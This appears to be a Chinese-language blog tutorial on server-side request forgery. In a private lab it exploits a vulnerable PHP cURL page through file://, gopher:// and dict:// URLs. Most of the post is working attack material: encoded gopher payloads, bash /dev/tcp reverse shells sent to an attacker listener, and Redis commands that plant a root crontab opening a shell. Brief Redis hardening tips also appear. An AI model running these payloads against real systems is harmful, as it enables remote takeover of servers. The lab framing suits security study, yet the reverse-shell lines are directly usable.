摘要: SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用。
上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用。
存在SSRF漏洞的靶机:192.168.220.143
被攻击的内网系统A:192.168.220.139 (web服务器)
SSRF漏洞存在于页面:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php,代码如下:
<?php// 创建一个新cURL资源$ch = curl_init();
// 设置URL和相应的选项curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
// 抓取URL并把它传递给浏览器curl_exec($ch);//关闭cURL资源,并且释放系统资源curl_close($ch);
?>
可能出现SSRF的函数:file_get_contents()、curl()、fsocksopen()、fopen()等。
访问:http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=file:///C:/WINDOWS/win.ini ,成功读取文件
简要介绍:gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。
假设存在一内网系统(http://192.168.220.139/test/ssrf/post.php),其支持POST请求,代码如下:
curl -v 'gopher://192.168.220.139:80/_POST%20%2ftest%2fssrf%2fpost.php%20HTTP/1.1%0D%0AHost:%20192.168.220.139%0D%0AUser-Agent:%20curl/7.42.0%0D%0AAccept:%20*/*%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Acmd=aaaaaaaa'
科来网络分析工具抓包:
再查看192.168.220.139的系统日志会发现,多了一条来自192.168.220.142的POST请求记录
通过SSRF漏洞同样可以利用gopher协议对内网系统进行POST请求,不过首先需要查看下【phpinfo】,确认curl是enabled,并且需要确认下当前的curl版本是否支持gopher协议。
开始用的7.21.0,就没有复现成功,这里是个坑- -!如果curl版本太低,调高phpstudy里的php版本就可以惹^^
注意:这里的回车换行要二次编码:%0D%0A -->%250d%250a
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.139:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'
再去查看192.168.220.139的系统日志会发现,多了一条来自192.168.220.143的POST请求记录。通过抓包可以看到,实际上,192.168.220.143确实向192.168.220.139发送了一个POST请求,在这里143其实充当了跳板机的角色。
攻击过程如下:
靶机: bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
攻击者:nc -lvvp 2333
回到SSRF漏洞,利用如下,同样可以反弹shell:
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.139:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261'
可以参考这篇文章:通过gopher协议拓展攻击面
①docker端口映射
docker run -d -p 6379:6379 ssrf_redis #将docker的6379端口映射到宿主机的6379端口
docker ps #查看端口映射情况
②攻击redis的exp:
此种方法能攻击成功的前提条件是:redis是以root权限运行的,通过【ps -aux | grep redis】查看redis服务权限,如果不是以root权限运行,就会出现【Permission denied】的报错。
redis-cli -h 192.168.220.142 -p 6379
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.220.140/9999 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
回到上面说的通过SSRF漏洞结合gopher协议攻击内网redis,可以构造如下命令,即可反弹shell:
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.142:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
③redis安全策略
开启protected-mode保护模式,配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379
配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
禁止使用root运行redis
Struts指纹识别 -> Struts远程代码执行漏洞
搜狐某云服务API接口导致SSRF/手工盲打到Struts2命令执行
访问:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php?url=dict://192.168.220.143:3306
参考:
小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本)
关于dict协议:
> dict://serverip:port/命令:参数
> 向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利
如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。
通过【curl命令】和【dict协议】可以对redis进行操作:
http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php,代码如下:
<?php// 创建一个新cURL资源$ch = curl_init();// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
//跳转重定向为True,默认不跳转
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_HEADER, false);// 抓取URL并把它传递给浏览器
curl_exec($ch);//关闭cURL资源,并且释放系统资源
curl_close($ch);
?>
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=flushall'
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/shell.php?s=dict%26ip=192.168.220.142%26port=6379%26bhost=192.168.220.140%26bport=7777'
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=config:set:dir:/var/spool/cron/'
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142&port=6379&data=config:set:dbfilename:root'
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=save'
(理论上应该可以,但是实验没有成功,有可能是url编码的问题,以后有时间再来深究)
实战代码:
302.php辅助脚本:
shell.php辅助脚本:
file.php辅助脚本: